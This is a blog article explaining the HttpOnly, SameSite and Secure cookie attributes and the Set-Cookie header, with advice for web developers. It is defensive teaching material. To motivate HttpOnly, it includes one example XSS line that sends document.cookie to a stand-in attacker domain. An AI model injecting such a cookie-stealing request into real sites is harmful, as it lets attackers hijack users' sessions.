Secure, HttpOnly, SameSite HTTP Cookies Attributes and Set-Cookie Explained

João Manuel Gomes
The Startup
Published in
4 min readSep 14, 2020

Cookies are the most common method to add temporary persistency to websites. They are used in most websites and we know their consent banners. HTTP Cookies can contain crucial and confidential data, their usage started around 1994 and some important legacy issue were left unaddressed and new state-of-art security improvements are being tackled nowadays.

Secure, HttpOnly and SameSite cookies attributes are being addressed by some modern browsers for quite some time and soon they will be enforced.

For example, starting from August 25, 2020, Google Chrome v85 enabled a feature, by default, to reject insecure SameSite=None. New features like this might break your website if you aren’t up-to-date with the latest best practices. Like that example, using the following attributes already are considered best practices and modern browsers will(and should) enforce them soon.

In this article I’m going to explain each one, the reasons why developers should care about them and why a correct implementation of them means extra security for your website.

HttpOnly attribute

HttpOnly attribute focus is to prevent access to cookie values via JavaScript, mitigation against Cross-site scripting (XSS) attacks.

Avoiding XSS may be mitigated just by sanitising user inputs and removing <script> tags, one small mistake can have huge consequences. Third party script might break user security as well. Every year we hear about these attacks being successful.

Imagine your webpage is storing a session cookie and there is some input field vulnerable to XSS. Then it’s quite straight-forward for an attack to inject script making a HTTP request to a url similar to the following:

`attackerDomain.com/cookie=${document.cookie}`

This works because document.cookie is accessible for any JavaScript code and prints all the cookie being used in the current domain. If you, indeed, have a session stored, the attacker will gain access to the user’s current session.

To prevent these hacks, we should be using HttpOnly flags in cookies.

HTTPOnly attribute Forbids JavaScript from accessing the cookie. Note that a cookie that has been created with HttpOnly will still be sent with JavaScript fetch().

SameSite attribute

Asserts that a cookie must not be sent with cross-origin requests, providing some protection against cross-site request forgery attacks (CSRF). CSRF is mostly related to third party cookies, By “third parties” we mean other websites that we don’t visit directly. The SameSite attribute allows developers to specify cookie security for each particular case.

SameSite can take 3 possible values: Strict, Lax or None.

  • Lax —Default value in modern browsers. Cookies are allowed to be sent with top-level navigations and will be sent along with GET requests initiated by a third party website. The cookie is withheld on cross-site subrequests, such as calls to load images or frames, but is sent when a user navigates to the URL from an external site, such as by following a link.
  • Strict — As the name suggests, this is the option in which the Same-Site rule is applied strictly. Cookies will only be sent in a first-party context and not be sent along with requests initiated by third party websites. The browser sends the cookie only for same-site requests (that is, requests originating from the same site that set the cookie). If the request originated from a different URL than the current one, no cookies with the SameSite=Strict attribute are sent.
  • None — Cookies will be sent in all contexts, i.e sending cross-origin is allowed. The browser sends the cookie with both cross-site and same-site requests.

None None used to be the default value, but recent browser versions made Lax the default value to have reasonably robust defense against some classes of cross-site request forgery (CSRF) attacks.

Note: Using SameSite=None requires Secure attribute in some latest browser versions.

Secure attribute

Secure attribute is more straight-forward to understand. A Secure cookie is only sent to the server with an encrypted request over the HTTPS protocol. Note that insecure sites (http:) can't set cookies with the Secure directive.

This helps mitigate the man-in-the-middle (MitM) attack. Websites (with http: in the URL) can't set cookies with the Secure attribute.

Set-Cookie

The Set-Cookie HTTP response header is used to send a cookie from the server to the user agent, so the user agent can send it back to the server later. To send multiple cookies, multiple Set-Cookie headers should be sent in the same response.

Let’s say you want to set a cookie for the user agent named cookieName with the value of cookieValue, to be only used over https connections, not accessible in JavaScript and will be sent in all contexts. That header should be like the following:

Set-Cookie: cookieName=cookieValue; HttpOnly; Secure; SameSite=None

Removing a cookie using Set-Cookie

You can’t remove cookies marked with HTTPOnly attribute from JavaScript. Best Practice is to use Set-Cookie Header and set an expiration date to some time in the past. See the example below where I’m deleting a cookie named cookieName,

Set-Cookie: cookieName=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT

References:

Conclusion

  • Don’t store sensitive data in cookie, unless required
  • Use HttpOnly to mitigate XSS attacks
  • Use SameSite to mitigate CSRF attacks
  • Use Secure to mitigate MITM attacks

At the moment, modern browsers support these attributes. Every web developer should be aware of them and use them. Their usage improves your cookie security so go on, use them and improve your website security!

--

--